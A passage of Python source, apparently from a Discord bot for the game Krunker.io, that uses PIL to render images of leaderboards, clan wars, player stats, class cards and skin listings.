draw.textsize(str(maps[\"cnt\"]), font)\n    outline_text(draw, 480-twidth, 142+y_offs_overall+y_reoff, main_c, (25, 25, 25), str(maps[\"cnt\"]), font)\n    bimg = Image.open(\"Data/comment.png\")\n    img.paste(bimg, (480+ctwidth+7-twidth, 142+y_offs_overall+y_reoff), bimg)\n\n    max_t_y = 0\n\n    for x, e_t in enumerate(text, 0):\n        outline_text(draw, 50, 115 + (x*45), main_c, (25, 25, 25), e_t, font)\n        max_t_y = 115 + (x*45)\n\n    max_t_y += 50\n\n    if y_reoff:\n        img.paste(thumb, (int((img.width/2) -  (thumb.width/2)), max_t_y), thumb)\n        \n\n    when = ago.human(datetime.timedelta(seconds = int(maps[\"tim\"]/1000)), precision = 3, abbreviate  = True)\n    twidth, _ = draw.textsize(when, font)\n    outline_text(draw, 705-twidth, 25, (98, 104, 104), (25, 25, 25), when, font)\n    if is_giveaway:\n        when = ago.human(datetime.timedelta(seconds = int(maps[\"exp\"]/1000)), precision = 3, abbreviate  = True, past_tense = \"{} left\")\n        twidth, _ = draw.textsize(when, font)\n        outline_text(draw, 705-twidth, 60, (98, 104, 104), (25, 25, 25), when, font)\n        outline_text(draw, 30, 142+y_offs_overall+y_reoff, (98, 104, 104), (25, 25, 25), \"{:,} KR\".format(maps[\"fds\"]), font)\n    \n    img_b = classic_outline(img)\n\n    img_b.paste(img, (2, 2), img)\n    return gb_logo(img_b, client)\n\ndef make_wars(client, all_regions, write_clan_name, regions_x):\n    img = Image.open(\"Data/map.png\")\n    black_color = (255, 255, 255)\n    draw = ImageDraw.Draw(img)\n    font_size = 10\n    font = client.font3\n    \n    unicode_font = ImageFont.truetype(\"Data/unifont.ttf\", font_size+3)\n    \n    def vldr(text, pixel, font_=font):\n        twidth, _ = draw.textsize(text, font=font_)\n        return pixel -  int(twidth/2)\n    \n    for x, e_ri in enumerate(all_regions):\n        try:\n            _name = \"[\"+e_ri[0][\"cn\"]+\"]\"\n        except:\n            _name = \"None\"\n        if _name.isascii():clan_font = font\n        else:clan_font = unicode_font\n        try:\n            clan_rank =  e_ri[0]['cr']\n        except:\n            clan_rank = e_ri[0]['cr'] = 100\n        write_clan_name(draw, (vldr(_name, regions_x[x][0], clan_font), regions_x[x][1]-5), clan_rank, _name, font, unicode_font)\n        #draw.text((vldr(_name, regions_x[x][0], clan_font), regions_x[x][1]-5), _name, black_color, font=clan_font)\n    return gb_logo(img, client)\ndef make_lwars(e_ri, client):\n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    y = len(e_ri) * 31\n    y += offset + 40 + 5\n    img = Image.new(\"RGBA\", (460, y), (0, 0, 0 ,0))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font3 = ImageFont.truetype(font_file, font_size-2)\n    unicode_font = ImageFont.truetype(\"Data/unifont.ttf\", 18)\n    font_size += 10\n    def filter_color2(clan_):\n        return (130, 130, 130)\n    outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), \"Clanwars\", font2)\n    offset = 44\n    for x, (e_clan, e_map)  in enumerate(e_ri.items()):\n        if True:\n            m_c = Main_Color\n            if e_clan.isascii():\n                clan_font = font\n            else:\n                clan_font = unicode_font\n            outline_text(draw, 10, 12+((font_size+4)*x)+offset, m_c, (0, 0, 0), \"[\"+e_clan+\"]\", clan_font)\n            if not e_clan.isascii():\n                outline_text(draw, 11, 12+((font_size+4)*x)+offset, m_c, (0, 0, 0), \"[\"+e_clan+\"]\", clan_font)\n                outline_text(draw, 9, 12+((font_size+4)*x)+offset, m_c, (0, 0, 0), \"[\"+e_clan+\"]\", clan_font)\n                outline_text(draw, 10, 12+((font_size+4)*x)+offset+1, m_c, (0, 0, 0), \"[\"+e_clan+\"]\", clan_font)\n                outline_text(draw, 10, 12+((font_size+4)*x)+offset-1, m_c, (0, 0, 0), \"[\"+e_clan+\"]\", clan_font)\n            outline_text(draw, 200, 12+((font_size+4)*x)+offset, (255, 255, 255), (0, 0, 0), \"{:,}\".format(e_map['kl'])+ \" Kills\" , font3)\n            outline_text(draw, 335, 12+((font_size+4)*x)+offset, (255, 255, 255), (0, 0, 0), \"{:,}\".format(e_map['pl'])+ \" Players\" , font3)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((460,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    return gb_logo(img_b, client)\n\n\ndef make_leadersw(maps, client, main_pages, current_page):\n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    y = len(maps) * (31 + 2)\n    y += offset + 40 + 5\n    img = Image.new(\"RGBA\", (550, y), (0,0,0,0))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font3 = client.main_font3\n    font_size += 12\n\n    heading_color = (179, 179, 179)\n    outline_text(draw, 18, 15, (255, 255, 255), (0, 0, 0), \"Clanwars Players\", font2)\n    if main_pages > 1: outline_text(draw, 395, 22, heading_color, (0, 0, 0), \"Page # {}/{}\".format(current_page, main_pages), font)\n    offset = 44\n    \n        \n    for x, e_map in enumerate(maps):\n        outline_text(draw, 18, 12+((font_size+4)*x)+offset, Main_Color, (0, 0, 0), e_map[\"p\"], font)\n        outline_text(draw, 230, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), '{:,}'.format(e_map[\"k\"]) + \" kills\", font)\n        lives_left = 0 if 100-e_map[\"d\"] < 0 else 100-e_map[\"d\"]\n        if lives_left == 0:\n            l_c = (255, 210, 210)\n        else:l_c = black_color\n        outline_text(draw, 390, 12+((font_size+4)*x)+offset, l_c, (0, 0, 0), '{:,}'.format(lives_left) + \" lives left\", font)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((550,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    return gb_logo(img_b, client)\n\n\ndef make_leaders(maps, type_, filter_color, client, user_name, write_clan_name):\n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    y = len(maps) * 31\n    y += offset + 40 + 5\n    img = Image.new(\"RGBA\", (460, y), (0,0,0,0))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font3 = ImageFont.truetype(font_file, font_size-2)\n    unicode_font = ImageFont.truetype(\"Data/unifont.ttf\", font_size+3+2)\n    font_size += 10\n    outline_text(draw, 10, 10, (255, 255, 255), (0, 0, 0), user_name.title()+\" Leaderboard\", font2)\n    offset = 44\n    for x, e_map in enumerate(maps):\n        if not type_ == \"player_clan\":\n            try:\n                m_c = filter_color(e_map['player_featured'])\n            except:\n                m_c = Main_Color\n            outline_text(draw, 10, 12+((font_size+4)*x)+offset, m_c, (0, 0, 0), e_map[\"player_name\"], font)\n            try:\n                if e_map[\"player_clan\"]:\n                    twidth, theight = draw.textsize(e_map[\"player_name\"], font=font)\n                    write_clan_name(draw,\n                                    (10+twidth+5, 12+((font_size+4)*x)+offset),\n                                    e_map['clan_rank'],\n                                    '['+str(e_map[\"player_clan\"])+']', font, unicode_font)\n                    \n                    #draw.text((10+twidth+5, 12+((font_size+4)*x)+offset), '['+str(e_map[\"player_clan\"])+']',filter_color2(e_map[\"player_clan\"]),font=font)\n            except:pass\n            x_offs = 0\n            if type_ == 'player_score':\n                value_ = \"LVL \"+str('{:,}'.format(max(1, math.floor(0.03 * math.sqrt(e_map[\"player_score\"])))))\n            elif type_ == 'player_timeplayed':\n                value_ = str('{:,}'.format(int((str(float(((int(str(e_map[\"player_timeplayed\"]).split(\".\")[0])/60)/60)/1000)).split(\".\")[0])))) + \" hrs\"\n            elif type_ == 'player_eventcount':\n                value_ = str(e_map['player_eventcount']) + \" / 150\"\n            elif type_ == 'player_followed':\n                value_ = str('{:,}'.format(e_map[type_])) + \" followers\"\n                x_offs = -40\n            elif type_ == 'player_eventtime':\n                value_ = str(datetime.timedelta(seconds = int(e_map[type_]/1000)))\n                x_offs = 10\n            elif type(e_map[type_]) is int:\n                value_ = str('{:,}'.format(e_map[type_]))\n            else:\n                value_ = str(e_map[type_])\n            outline_text(draw, 330+x_offs, 12+((font_size+4)*x)+offset, black_color, (0, 0, 0), value_, font)\n        #draw.text((335, 12+((font_size+4)*x)+offset),str(e_map[\"siz\"]) + \" kb\",black_color,font=font)\n        else:\n            if not e_map[\"clan_name\"] in [\"DEV\", \"Lore\", \"nV\", \"Oxic\", \"Verb\", \"Omen\", \"ロリ幼女\", \"VOID\", \"JBP\", \"PHIL\", \"TIMP\", \"g59\", \"24/7\", \"GLXY\", \"MMOK\", \"KPOP\"]:\n                m_c = Main_Color\n            else:\n                m_c = (255, 203, 73)\n            write_clan_name(draw,\n                            (10, 12+((font_size+4)*x)+offset),\n                            e_map['clan_rank'],\n                            \"[\"+e_map[\"clan_name\"]+\"]\", font, unicode_font, outline_c = (0, 0, 0))\n            outline_text(draw, 100, 12+((font_size+4)*x)+offset, (150, 150, 150), (0, 0, 0), \"(\"+str(e_map[\"clan_membercount\"])+\")\", font)\n            outline_text(draw, 174, 12+((font_size+4)*x)+offset, (150, 150, 150), (0, 0, 0), \"by \" + e_map['creatorname'] , font3)\n            outline_text(draw, 370, 12+((font_size+4)*x)+offset, (255, 255, 255), (0, 0, 0), \"LVL \"+str('{:,}'.format(max(1, math.floor(0.03 * math.sqrt(e_map[\"clan_score\"]))))) , font3)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((460,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    return gb_logo(img_b, client)\n\n\ndef make_stats(data, info, client, user_name, old_stats):\n\n    with open(\"Data/timestamps.bt\", \"rb\") as file:\n        stamp_data = pickle.load(file)\n    try:\n        last_timestamp = stamp_data[\"stats\"][user_name.lower()]\n    except:\n        last_timestamp = None\n\n                \n    font_size = 17\n    offset = 15\n    black_color = (255, 255, 255)\n    new_offset = 30 + 50\n    y = len(info) * 31\n    y += offset + 40 + 5 + new_offset\n    y -= 18*7\n    img = Image.new(\"RGBA\", (730, y), (0,0,0,0))\n    draw = ImageDraw.Draw(img)\n    font = client.main_font\n    font2 = client.main_font2\n    font3 = ImageFont.truetype(font_file, font_size-2)\n    unicode_font = ImageFont.truetype(\"Data/unifont.ttf\", font_size+3+2)\n    font_size += 10\n    heading_color = (165, 69, 255) #(132, 0, 255)\n    outline_text(draw, 17, 17, (255, 255, 255), (0, 0, 0), user_name+\"'s Stats\", font2)\n    outline_text(draw, 17, 86, heading_color, (0, 0, 0), \"Name\", font2)\n    outline_text(draw, 220, 86, heading_color, (0, 0, 0), \"Old\", font2)\n    outline_text(draw, 415, 86, heading_color, (0, 0, 0), \"New\", font2)\n    outline_text(draw, 580, 86, heading_color, (0, 0, 0), \"Diff.\", font2)\n    \n    draw.line((15, 60, 730-15, 60), (74, 77, 84), 4)\n    draw.line((220-20, 60, 220-20, y-20), (74, 77, 84), 4)\n    draw.line((415-20, 60, 415-20, y-20), (74, 77, 84), 4)\n    draw.line((580-20, 60, 580-20, y-20), (74, 77, 84), 4)\n    offset = 44\n    if last_timestamp:\n        cached_stamp = ago.human(datetime.timedelta(seconds = int(time.time() - last_timestamp)), precision = 2,\n                                   future_tense = \"{} ago\", abbreviate = True)\n    else:\n        cached_stamp = \"unknown\"\n    stamp_x = int(draw.textsize(cached_stamp, client.font)[0]/2)\n    cached_x = int(draw.textsize(\"Last Cached\", client.font)[0]/2)\n    draw.text((565, 12-3), \"Last Cached\", (159, 159, 159), font=client.font)\n    draw.text(((565+cached_x)-stamp_x, 12+22-3),cached_stamp,\n                  (159, 159, 159), font = client.font)\n        \n    \n    Non_Color = (150, 150, 150)\n\n    def check_status(olds, news, type_ = \"\"):\n        if news - olds > 0:\n            return \"+\", (15, 220, 15) if type_ not in [\"player_deaths\", \"player_losses\"] else (235, 10, 10)\n        if news - olds < 0:\n            return \"\", (235, 10, 10)\n        return \"\", Non_Color\n    def get_value(val):\n        if int(val) == float(val):\n            return int(val)\n        return val\n    separator_offset = 0\n    for x, (e_map, e_val) in enumerate(info.items()):\n        if \"sep\" in e_map:\n            line_c = (81, 64, 124) #(74, 77, 84)\n            y_ = 12+((font_size+4)*x)+offset+new_offset+separator_offset\n            draw.line((15, y_, 730-15, y_),\n                      line_c, 4)\n            separator_offset -= 18\n            continue\n            \n        \n        try:\n            old_stats[e_val[0]]\n        except:\n            old_stats[e_val[0]] = 0\n        old_Stat = e_val[1].format(get_value(old_stats[e_val[0]]))\n        new_Stat = e_val[1].format(get_value(data[e_val[0]]))\n        dif_Stat = e_val[1].format(get_value(data[e_val[0]] - old_stats[e_val[0]]))\n        if \"f\" in e_val[1]:\n            old_Stat = format(float(old_Stat), '.10g')\n            new_Stat = format(float(new_Stat), '.10g')\n            dif_Stat = format(float(dif_Stat), '.10g')\n        if e_val[0] == \"player_accuracy\":\n            old_Stat += \" %\"\n            new_Stat += \" %\"\n            dif_Stat += \" %\"\n        sign_, color_ = check_status(old_stats[e_val[0]], data[e_val[0]], e_val[0])\n        if e_val[0] == \"player_timeplayed\":\n            try:old_Stat = ago.human(datetime.timedelta(seconds = int(old_stats['player_timeplayed']/1000)), past_tense = \"{}\", future_tense = \"{}\", abbreviate=True, precision= 3 )\n            except:old_Stat = \"0\"\n            old_Stat = old_Stat if old_Stat else \"0\"\n\n            try:new_Stat = ago.human(datetime.timedelta(seconds = int(data['player_timeplayed']/1000)), past_tense = \"{}\", future_tense = \"{}\", abbreviate=True, precision= 3 )\n            except:new_Stat = \"0\"\n            new_Stat = new_Stat if new_Stat else \"0\"\n            \n            try:dif_Stat = ago.human(datetime.timedelta(seconds = int((data[e_val[0]] - old_stats[e_val[0]])/1000)), past_tense = \"{}\", future_tense = \"{}\", abbreviate=True, precision= 3 )\n            except:dif_Stat = \"0\"\n            dif_Stat = dif_Stat if dif_Stat else \"0\"\n            \n        outline_text(draw, 20, 12+((font_size+4)*x)+offset+new_offset+separator_offset, Main_Color, (0, 0, 0), e_map, font)\n        outline_text(draw, 220, 12+((font_size+4)*x)+offset+new_offset+separator_offset, (255, 255, 255), (0, 0, 0), old_Stat, font)\n        outline_text(draw, 415, 12+((font_size+4)*x)+offset+new_offset+separator_offset, (255, 255, 255), (0, 0, 0), new_Stat, font)\n        outline_text(draw, 580, 12+((font_size+4)*x)+offset+new_offset+separator_offset, color_, (0, 0, 0), sign_+ dif_Stat, font)\n\n    dark_img = ImageEnhance.Brightness(img).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(img, (0, 0), img)\n    img = newGrad((730,y))\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    return gb_logo(img_b, client)\n\ndef make_class(x, e_class, client):\n    def vldr(text, pixel, font):\n        twidth, _ = draw.textsize(text, font=font)\n        return pixel -  int(twidth/2)\n    img = Image.open(\"Data/class.png\")\n    draw = ImageDraw.Draw(img)\n    response = requests.get(\"https://assets.krunker.io/textures/classes/icon_{}.png?\".format(x))\n    thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\").resize((150, 150), resample=Image.BOX)\n    def change_color(r, g, b, img):\n        pixels = img.load()\n        for i in range(img.size[0]):\n            for j in range(img.size[1]):\n                if list(pixels[i, j])[-1] == 0:\n                     pixels[i, j] = (r, g, b, 0)\n                     \n    change_color(98, 104, 104, thumb)\n    thumb = add_corners(thumb, 10)\n    \n    bimg = Image.new('RGB', (154,154), (98, 104, 104))\n    bimg = add_corners(bimg, 10)\n\n    img.paste(bimg, (48, 58+30), bimg)\n    img.paste(thumb, (50, 60+30), thumb)\n    font_size = 18\n\n    \n    font = ImageFont.truetype(font_file, font_size)\n    fontmega = ImageFont.truetype(font_file, font_size+3)\n    font2 = ImageFont.truetype(font_file, font_size-3)\n    font3 = ImageFont.truetype(font_file, font_size-5)\n    bimg = Image.new('RGB', (220,242), (98, 104, 104))\n    bimg = add_corners(bimg, 14)\n    img.paste(bimg, (13, 250), bimg)\n    dark_c = (226, 226, 226)\n    main_c = (227, 126, 255)\n\n    outline_text(draw, vldr(e_class[\"name\"], img.width/2, fontmega), 15, main_c, (0, 0, 0), e_class[\"name\"], fontmega)\n    outline_text(draw, vldr(e_class[\"wp\"], img.width/2, font2), 47, dark_c, (0, 0, 0), e_class[\"wp\"], font2)\n    outline_text(draw, 30, 230+30, dark_c, (0, 0, 0), \"Health:\", font)\n    outline_text(draw, 130, 230+30, main_c, (0, 0, 0), str(e_class[\"health\"]), font)\n\n    for x in range(e_class[\"segs\"]):\n        bimg = Image.new('RGB', (20, 26), (114, 170, 62))\n        bimg = add_corners(bimg, 5)\n        img.paste(bimg, (30 + (x * 30), 260+30), bimg)\n        \n        bimg = Image.new('RGB', (20, 20), (158, 235, 86))\n        bimg = add_corners(bimg, 5)\n        img.paste(bimg, (30 + (x * 30), 260+30), bimg)\n\n    outline_text(draw, 30, 325, dark_c, (0, 0, 0), \"Speed:\", font)\n    outline_text(draw, 130, 325, main_c, (0, 0, 0), str(e_class[\"speed\"]), font)\n\n    outline_text(draw, 30, 360, dark_c, (0, 0, 0), \"Secondary:\", font)\n    outline_text(draw, 165, 360, main_c, (0, 0, 0), \"Yes\" if \"secondary\" in e_class.keys() else \"No\", font2)\n\n    outline_text(draw, 30, 395, dark_c, (0, 0, 0), \"Wall Jump:\", font)\n    outline_text(draw, 165, 395, main_c, (0, 0, 0), \"Yes\" if \"wallJ\" in e_class.keys() else \"No\", font2)\n\n    outline_text(draw, 30, 390+35+5, dark_c, (0, 0, 0), \"Colors:\", font)\n    def darken(rgb):\n        rgb[0] -= 20\n        rgb[1] -= 20\n        rgb[2] -= 20\n        for x, e_v in enumerate(rgb):\n            if e_v < 0:rgb[x] = 0\n        return rgb\n    for x, e_c in enumerate(e_class[\"colors\"]):\n        e_c = getRGBfromI(e_c)\n        bimg = Image.new('RGB', (20, 26), tuple(darken(list(e_c))))\n        bimg = add_corners(bimg, 5)\n        img.paste(bimg, (30 + (x * 30), 390+35+35), bimg)\n        \n        bimg = Image.new('RGB', (20, 20), e_c)\n        bimg = add_corners(bimg, 5)\n        img.paste(bimg, (30 + (x * 30), 390+35+35), bimg)\n        \n    img_b = classic_outline(img)\n\n    return gb_logo(img_b, client)\n\ndef xp_count(val):\n    return str(max(1, math.floor(0.03 * math.sqrt(val))))\ndef change_color_(r, g, b, img):\n    if not sum((r, g, b)):\n        return ImageEnhance.Brightness(img).enhance(0)\n    else:\n        pixels = img.load() # create the pixel map\n\n        for i in range(img.size[0]): # for every pixel:\n            for j in range(img.size[1]):\n                pixels[i, j] = (r, g, b, list(pixels[i, j])[-1])\n                    \ndef make_cstats(maps, total_maps, get_corr_ind, client, data, stats, get_level_int_c, sclasses_names):\n    def vldr(text, pixel, font):\n        twidth, _ = draw.textsize(text, font=font)\n        return pixel -  int(twidth/2)\n    #img = Image.open(\"Data/cstat.png\")\n    img = newGrad((709+235-8,(335-40-30-20)*4))\n    imgshd = Image.new(\"RGBA\", (709+235-8,(335-40-30-20)*4), (0, 0, 0 ,0))\n    imgshd2 = Image.new(\"RGBA\", (709+235-8,(335-40-30-20)*4), (0, 0, 0 ,0))\n    imgshd3 = Image.new(\"RGBA\", (709+235-8,(335-40-30-20)*4), (0, 0, 0 ,0))\n    draw = ImageDraw.Draw(imgshd)\n    font_size = 18\n\n\n    font = ImageFont.truetype(font_file, font_size)\n    fontmega = ImageFont.truetype(font_file, font_size+3)\n    fontomega = ImageFont.truetype(font_file, font_size+12)\n    font2 = ImageFont.truetype(font_file, font_size-3)\n    font3 = ImageFont.truetype(font_file, font_size-5)\n    #maps.insert(0, [total_maps[0]])\n    #del ma[\n    box_c = (70, 50, 84)#(64, 53, 72) #(70, 75, 75) #(98, 104, 104)\n    bg_c = (70, 75, 75)\n    bimg = Image.new('RGB', ((230*3)-15,237-20), box_c)\n    bimg = add_corners(bimg, 10)\n    imgshd2.paste(bimg, (13, 13), bimg)\n    try:\n        if not (data['player_premium'] > 0):\n            raise TimeoutError()\n        response = requests.get(\"https://user-assets.krunker.io/p{}/profile.png\".format(data[\"player_id\"]))\n        thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\")\n        profile_icon = thumb.resize((207-4,207-4)).convert(\"RGBA\")\n        new_pficon = Image.new(\"RGBA\", (207-4, 207-4), (0, 0, 0, 0))\n        new_pficon.paste(profile_icon, (0, 0), client.icon_mask2)\n        profile_icon = new_pficon\n            \n    except:\n        try:\n            class_n = stats[\"c\"]\n        except:\n            class_n = 0\n        profile_icon = client.icons[class_n]\n        profile_icon = profile_icon.resize((207-4,207-4)).convert(\"RGBA\")\n        new_pficon = Image.new(\"RGBA\", (207-4, 207-4), (0, 0, 0, 0))\n        new_pficon.paste(profile_icon, (0, 0), client.icon_mask2)\n        profile_icon = new_pficon\n    imgshd3.paste(profile_icon, (20, 20), profile_icon)\n    outline_text(draw, 250, 30, Main_Color, (0, 0, 0), data['player_name'], fontomega)\n    outline_text(draw, 250, 80, (226, 226, 226), (0, 0, 0), \"[{}]\".format(data['player_clan']), fontmega)\n    outline_text(draw, 250, 120, (226, 226, 226), (0, 0, 0), \"LVL \"+xp_count(data['player_score']), fontomega)\n    score = data['player_score']\n    level = max(1, math.floor(0.03 * math.sqrt(data[\"player_score\"])))\n    tmpRank = 0.03 * math.sqrt(score)\n    level = math.floor(tmpRank)\n    levelPerc = round((tmpRank - level) * 100) # level progress in %\n    level = max(1, level) # actual player level\n\n    offset = pow(level / 0.03, 2) if 1 < level else 0\n    levelProg = read_format(math.floor(score - offset)) + ' / ' + read_format(math.floor(pow((level + 1) / 0.03, 2) - offset))\n    levelProgVal = math.floor(score - offset)/(math.floor(pow((level + 1) / 0.03, 2) - offset))\n    loadn = client.defloadn.copy()\n    x, y = loadn.size\n    loadn = loadn.resize((400, y))\n    loadn_mask = loadn.convert(\"L\")\n    loadn2 = loadn.crop((0, 0, int(levelProgVal*400), y))\n    outline_text(draw, 250, 165, (226, 226, 226), (0, 0, 0), levelProg, font)\n    change_color_(50, 10, 50, loadn)\n    loadn.putalpha(10)\n    imgshd2.paste(loadn, (250, 200), loadn_mask)\n    imgshd3.paste(loadn2, (250, 200), loadn2)\n        \n\n    for rowx, each_row in enumerate(maps):\n        for x, e_class in enumerate(each_row):\n            if not sum([rowx,x]):\n                x = 3\n            num_x = x * 230\n            bimg = Image.new('RGB', (220, 275+23+10-40-30-20), box_c)\n            bimg = add_corners(bimg, 14)\n            \n            imgshd2.paste(bimg, (13+num_x, 13+((335-40-30-20)*rowx)), bimg)\n            \n            #response = requests.get(\"https://assets.krunker.io/textures/classes/icon_{}.png?\".format(get_corr_ind(total_maps.index(e_class))))\n            #thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\").resize((150, 150), resample=Image.BOX)\n            thumb = client.icons[get_corr_ind(sclasses_names.index(e_class[0].lower()))].copy().resize((80, 80), resample=Image.BOX)\n                         \n            #change_color(78, 81, 81, thumb)\n            #thumb = add_corners(thumb, 10)\n        \n            bimg = Image.new('RGB', (88,88), bg_c)\n            bimg = add_corners(bimg, 10)\n\n            #imgshd3.paste(bimg, (50+21+12+num_x-4, 18+15+60-4+((335-40-30-20)*rowx)), bimg)\n            \n            imgshd3.paste(thumb, (50+21+12+num_x, 18+15+60+((335-40-30-20)*rowx)), thumb)\n            \n\n            dark_c = (226, 226, 226)\n            main_c = (227, 126, 255)\n\n            outline_text(draw, vldr(e_class[0], 125 + num_x, fontmega), 22+((335-40-30-20)*rowx), main_c, (0, 0, 0), e_class[0], fontmega)\n            outline_text(draw, vldr(e_class[1], 125 + num_x , font2), 59+((335-40-30-20)*rowx), dark_c, (0, 0, 0), e_class[1], font2)\n\n            twidth, _ = draw.textsize(\"LVL \"+ str(e_class[2]), font=fontmega)\n            outline_text(draw, (206+num_x)-twidth-3, 260+((335-40-30-20)*rowx)-40-4-30-20, dark_c, (0, 0, 0), \"LVL \"+ str(e_class[2]), fontmega)\n            \n            \n            #206, 260\n            bimg = Image.new('RGB', (200, 25), (51, 52, 56))\n            bimg = add_corners(bimg, 10)\n            \n            imgshd3.paste(bimg, (23+num_x, 278+5+((335-40-30-20)*rowx)-40-30-20), bimg)\n\n            bimg = Image.new('RGB', (190, 20), (82, 88, 88))\n            bimg = bimg.crop((0, 0, int(eval(e_class[3])*190), 20))\n            bimg = add_corners(bimg, 10)\n            \n            imgshd3.paste(bimg, (23+num_x+5, 281+5+((335-40-30-20)*rowx)-40-30-20), bimg)\n            #draw.text((vldr(e_class[3], 125 + num_x, font3), 281+5+3+((335-40)*rowx)-40),dark_c, e_class[3], font=font3, fill=(255, 255, 255))\n            outline_text(draw, vldr(e_class[4], 125 + num_x, font3), 281+5+3+((335-40-30-20)*rowx)-40-30-20, dark_c, (0, 0, 0), e_class[4], font2)\n            #outline_text(draw, vldr(e_class[3], 125 + num_x, font3), 281+5, dark_c, (0, 0, 0), e_class[3], font3)\n\n\n            #outline_text(draw, 30, 360, dark_c, (0, 0, 0), \"Secondary:\", font)\n\n    \n    dark_img = ImageEnhance.Brightness(imgshd2).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(imgshd2, (0, 0), imgshd2)\n    img.paste(dark_img, (0, 0), dark_img)\n\n    dark_img = ImageEnhance.Brightness(imgshd3).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(imgshd3, (0, 0), imgshd3)\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    dark_img = ImageEnhance.Brightness(imgshd).enhance(0)\n    dark_img = dark_img.filter(ImageFilter.GaussianBlur(radius=2.5))\n    dark_img.paste(imgshd, (0, 0), imgshd)\n    img.paste(dark_img, (0, 0), dark_img)\n    \n    img_b = classic_outline(img)\n    \n\n    return gb_logo(img_b, client)\n\n\ndef generate_tag(text, color, tag_img, is_color = 1):\n    if is_color:\n        tag_img = tint_image(tag_img, color, 2.2)\n    else:\n        tag_img = tag_img.copy()\n    tag_img.paste(text, (0, 0), text)\n    return tag_img\n    \ndef make_skin(skin_url, client, skin_data_all, skin_color):\n    def vldr(text, pixel, font):\n        twidth, _ = draw.textsize(text, font=font)\n        return pixel -  int(twidth/2)\n    \n    img = Image.new(\"RGBA\", (650, 405), (0, 0, 0, 0))\n    draw = ImageDraw.Draw(img)\n\n    \n\n    font_size = 18\n\n    \n    font = ImageFont.truetype(font_file, font_size)\n    fontmega = ImageFont.truetype(font_file, font_size+3)\n    fontomega = ImageFont.truetype(font_file, font_size+6)\n    font2 = ImageFont.truetype(font_file, font_size-3)\n    font3 = ImageFont.truetype(font_file, font_size-5)\n\n    response = requests.get(skin_url)\n    thumb = Image.open(BytesIO(response.content)).convert(\"RGBA\")\n    #thumb2 = thumb.filter(ImageFilter.GaussianBlur(radius=3))\n    #thumb2.paste(thumb, (0, 0), thumb)\n    #thumb = thumb2\n    #thumb2 = thumb.filter(ImageFilter.SMOOTH_MORE)\n    #thumb = thumb.resize((thumb.width-4, thumb.height-4))\n    #thumb2.paste(thumb, (2, 2), thumb)\n    #thumb = thumb2\n\n    img.paste(thumb, (int(img.width/2)-int(thumb.width/2), (int(img.height/2)-int(thumb.height/2))+20), thumb)\n\n    twidth, _ = draw.textsize(\"{:,} KR\".format(skin_data_all[\"avgPrice\"]), font=font)\n    outline_text(draw, 630-twidth, img.height-65, (233, 228, 0), (0, 0, 0), \"{:,} KR\".format(skin_data_all[\"avgPrice\"]), font)\n    img.paste(client.kr, (630-twidth-30, img.height-65), client.kr)\n    try:\n        \n        twidth, _ = draw.textsize(skin_data_all[\"limT\"], font=font)\n        outline_text(draw, 630-twidth, img.height-100, (150, 150, 150), (0, 0, 0), skin_data_all[\"limT\"], font)\n    except:pass\n    try:\n        skin_data_all[\"creator\"]\n    except:\n        skin_data_all[\"creator\"] = \"Krunker.io\"\n        \n    twidth, _ = draw.textsize(\"By \" + skin_data_all[\"creator\"], font=font)\n    outline_text(draw, (int(img.width/2)-int(twidth/2)), img.height-40, (150, 150, 150), (0, 0, 0), \"By \"+skin_data_all[\"creator\"], font)\n\n    #try:\n        #twidth, _ = draw.textsize(skin_data_all[\"limT\"], font=font)\n        #outline_text(draw, 630-twidth, img.height-80, (150, 150, 150), (0, 0, 0), skin_data_all[\"limT\"], font)\n    #except:pass\n    total_tags = 0\n    tag_image = client.tag_background\n    is_color = sum(skin_color) > 2\n    if not is_color:\n        tag_image = client.tag_rainbow\n    \n    try:\n        this_season = 1\n        try:this_season = skin_data_all[\"seas\"]\n        except:pass\n        this_tag = generate_tag(client.seasons[this_season], skin_color, tag_image, is_color)\n        img.paste(this_tag, (30, img.height-60- (40*total_tags)), this_tag)\n        total_tags += 1\n    except:\n        pass\n    '''try:\n        skin_data_all[\"glow\"]\n        this_tag = generate_tag(client.glowing, skin_color, tag_image, is_color)\n        img.paste(this_tag, (30, img.height-60 - (40*total_tags)), this_tag)\n        total_tags += 1\n    except:pass'''\n    try:\n        skin_data_all[\"frames\"]\n        this_tag = generate_tag(client.animated, skin_color, tag_image, is_color)\n        img.paste(this_tag, (30, img.height-60 - (40*total_tags)), this_tag)\n        total_tags += 1\n    except:pass\n    try:\n        skin_data_all[\"limited\"]\n        this_tag = generate_tag(client.limited, skin_color, tag_image, is_color)\n        img.paste(this_tag, (30, img.height-60 - (40*total_tags)), 